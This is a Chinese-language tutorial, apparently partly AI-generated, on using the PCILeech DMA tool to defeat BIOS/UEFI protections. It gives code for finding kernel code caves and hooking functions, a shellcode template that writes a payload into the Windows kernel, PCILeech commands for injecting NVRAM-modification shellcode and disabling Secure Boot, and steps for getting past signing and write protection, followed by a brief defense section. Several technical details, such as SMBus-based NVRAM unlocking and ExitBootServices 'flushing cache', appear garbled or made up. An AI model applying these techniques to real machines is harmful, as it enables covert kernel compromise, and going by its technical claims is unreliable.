突破固件限制:PCILeech与BIOS/UEFI配置修改
引言:固件安全的隐形壁垒
你是否曾因BIOS/UEFI(统一可扩展固件接口)的限制而无法完全掌控自己的硬件?企业级主板的Secure Boot锁死、虚拟化技术(Intel VT-x/AMD-V)强制禁用、PCIe通道带宽限制——这些固件级别的防护措施正在成为硬件自由的最大障碍。本文将深入解析如何利用PCILeech这一强大的直接内存访问(DMA)工具,绕过固件限制,实现对BIOS/UEFI配置的深度修改。
读完本文你将获得:
- 理解DMA工具如何突破固件防护的底层原理
- 掌握PCILeech的UEFI模块开发与部署方法
- 学会修改UEFI变量存储(NVRAM)的关键技术
- 规避固件完整性校验(FV校验)的实战技巧
- 构建自定义UEFI shellcode的完整流程
一、DMA工具与固件交互的技术基础
1.1 什么是DMA工具?
直接内存访问(DMA)允许外设直接与系统内存进行数据传输,绕过CPU的控制。这一机制被PCILeech武器化后,攻击者可通过PCIe设备(如廉价的USB3380开发板)在开机阶段访问物理内存,实现对固件配置的修改。
1.2 PCILeech的UEFI攻击模块架构
PCILeech项目的pcileech_shellcode目录下包含多个针对UEFI环境的攻击模块,核心组件包括:
| 文件路径 | 功能描述 | 关键函数 |
|---|---|---|
| uefi_textout.c | 直接操作UEFI文本输出协议 | LocateProtocol() |
| uefi_winload_ntos_patch.c | 修补Windows引导加载器 | FindNtoskrnl() |
| uefi_kmd_c.c | 内核模块注入外壳代码 | GetData_KMD() |
| uefi_common.c | UEFI协议通用操作函数 | HashROR13A() |
其中uefi_winload_ntos_patch.c中的FindCodeCave()函数展示了如何在已加载的内核镜像中寻找可执行内存区域(代码洞穴):
QWORD FindCodeCave(QWORD hModule, QWORD qwSize)
{
QWORD STR_SECTIONS_ALLOWED[] = {
0x000000747865742e, // .text
0x0000000045474150, // PAGE
0x45444F434C4F4F50 // POOLCODE
};
// 遍历可执行段寻找空闲内存区域
for(i = 0; i < sizeof(STR_SECTIONS_ALLOWED)/sizeof(QWORD); i++) {
if(PEGetSection(hModule, STR_SECTIONS_ALLOWED[i], &dwSectionBaseRel, &dwSectionSize)) {
qwACC = hModule + dwSectionBaseRel + dwSectionSize;
if(*(PQWORD)qwACC == 0) return qwACC; // 找到零填充的代码洞穴
}
}
return 0;
}
二、UEFI变量存储(NVRAM)修改技术
2.1 NVRAM结构与访问方法
UEFI变量存储在主板的SPI闪存中,通常位于固件卷(FV)的特定区域。PCILeech通过以下步骤修改这些变量:
- 定位UEFI Runtime Services表(通过
EFI_RUNTIME_SERVICES结构体) - 调用SetVariable()服务(需要正确的属性参数)
- 绕过变量锁定机制(修改
VariableAttributes字段)
关键代码实现(来自uefi_common.c):
EFI_STATUS SetUEFIVariable(LPCWSTR Name, EFI_GUID* Guid, DWORD Attr, DWORD Size, PVOID Data)
{
return gRT->SetVariable(
(CHAR16*)Name,
Guid,
Attr,
Size,
Data
);
}
2.2 修改Secure Boot配置实战
要禁用Secure Boot,需修改以下UEFI变量:
| 变量名 | 类型 | 修改值 |
|---|---|---|
| Setup | 二进制 | 将0x5A位置的字节从0x01改为0x00 |
| SecureBoot | 布尔值 | 0x00 |
| PK | 密钥 | 清空公钥数据 |
使用PCILeech执行修改的命令示例:
# 读取当前Secure Boot状态
pcileech.exe uefi_textout -s "Secure Boot Status: %d"
# 注入NVRAM修改外壳代码
pcileech.exe uefi_winload_ntos_patch -in unlock_win11x64.sig -0 0x50
三、绕过固件保护机制的高级技巧
3.1 代码签名绕过:利用UEFI漏洞
现代UEFI固件通常启用Secure Boot和固件代码签名,PCILeech通过以下方式绕过:
- 利用UEFI驱动漏洞(如CVE-2020-10713)
- 重定向Boot Manager到自定义启动项
- 修补PE校验函数(在
peimage.c中寻找校验逻辑)
uefi_winload_ntos_patch.c中实现了对Windows内核加载器的修补,通过替换PsCreateSystemThreadEx函数实现无签名代码执行:
// 修补函数入口点
*(PQWORD)pHookedFunction = (QWORD)CodeCave;
// 保存原始指令
*(PQWORD)CodeCave = (QWORD)OriginalBytes;
// 跳回原始函数
*(PQWORD)(CodeCave + 0x10) = (QWORD)pHookedFunction + 0x10;
3.2 NVRAM写保护解除
部分主板通过硬件熔丝或专用寄存器保护NVRAM区域,可通过以下步骤解除:
- 识别SMBus控制器地址(通常为0x00-0x7F)
- 修改NVRAM保护位(如Intel PCH的0x50寄存器)
- 强制刷新固件缓存(调用
EFI_BOOT_SERVICES.ExitBootServices)
PCILeech提供的unlock_win11x64.sig签名文件包含预编译的NVRAM解锁代码,其十六进制格式可通过xxd工具查看:
xxd files/unlock_win11x64.sig | head -10
四、自定义UEFI Shellcode开发指南
4.1 开发环境搭建
构建UEFI外壳代码需要:
- EDK2 SDK(提供UEFI头文件和库)
- LLVM/Clang(支持UEFI交叉编译)
- i686-elf-gcc(生成32位UEFI应用)
- QEMU(UEFI环境模拟测试)
编译命令示例(来自uefi_winload_ntos_kmd.asm注释):
cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_kmd_c.c
ml64.exe uefi_winload_ntos_kmd.asm /Feuefi_winload_ntos_kmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_kmd_c.obj
4.2 Shellcode功能实现模板
自定义外壳代码应包含以下模块:
// 1. 初始化UEFI服务
EFI_STATUS efi_status = LocateProtocol(...);
// 2. 寻找目标内存区域
QWORD TargetAddress = FindNtoskrnl();
// 3. 分配代码洞穴
QWORD CodeCave = FindCodeCave(TargetAddress, 0x1000);
// 4. 写入有效载荷
memcpy(CodeCave, Payload, PayloadSize);
// 5. 重定向执行流
HookFunction(OriginalFunction, CodeCave);
4.3 调试与测试方法
- 使用QEMU调试:
qemu-system-x86_64 -bios OVMF.fd -hda fat:rw:./payloads -net none
- UEFI调试器连接:
gdb-multiarch -ex "target remote localhost:1234" uefi_shell.efi
- 内存转储分析:
pcileech.exe memdump -o firmware_ram.dmp -s 0x0 -l 0x1000000
五、防御与缓解措施
5.1 硬件级防护
- 启用BIOS密码(防止未授权访问)
- 物理锁闭PCIe插槽(使用机箱锁)
- 选择支持DMA防护的主板(如Intel VT-d/AMD-Vi)
5.2 软件配置加固
| 防护措施 | 配置方法 | 效果 |
|---|---|---|
| 启用BIOS写保护 | 设置BIOS Write Protect为Enabled | 防止固件镜像被修改 |
| 禁用未使用的PCIe端口 | 在BIOS中关闭多余PCIe通道 | 减少攻击面 |
| 启用SMM保护 | 配置SMM Security Mitigation | 防止SMM内存被篡改 |
5.3 检测技术
通过监控以下异常行为可发现DMA攻击:
- PCIe设备枚举异常(开机时出现未知设备)
- NVRAM变量变更记录(对比
efivar -l输出) - 物理内存访问模式(使用内存取证工具如
volatility)
六、总结与展望
PCILeech作为开源DMA工具框架,为研究固件安全提供了强大工具。通过本文介绍的技术,读者可实现对UEFI配置的深度修改,但需注意:未经授权的固件修改可能违反法律法规。
未来固件安全将面临更多挑战:
- UEFI 2.9规范引入的更强防护机制
- AI驱动的异常检测在SMM中的应用
- 硬件信任根(如TPM 2.0)与固件集成
建议安全研究者关注PCILeech项目的usb3380_flash目录,该目录包含针对USB3380芯片的固件烧写工具,可用于构建更隐蔽的DMA攻击设备。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



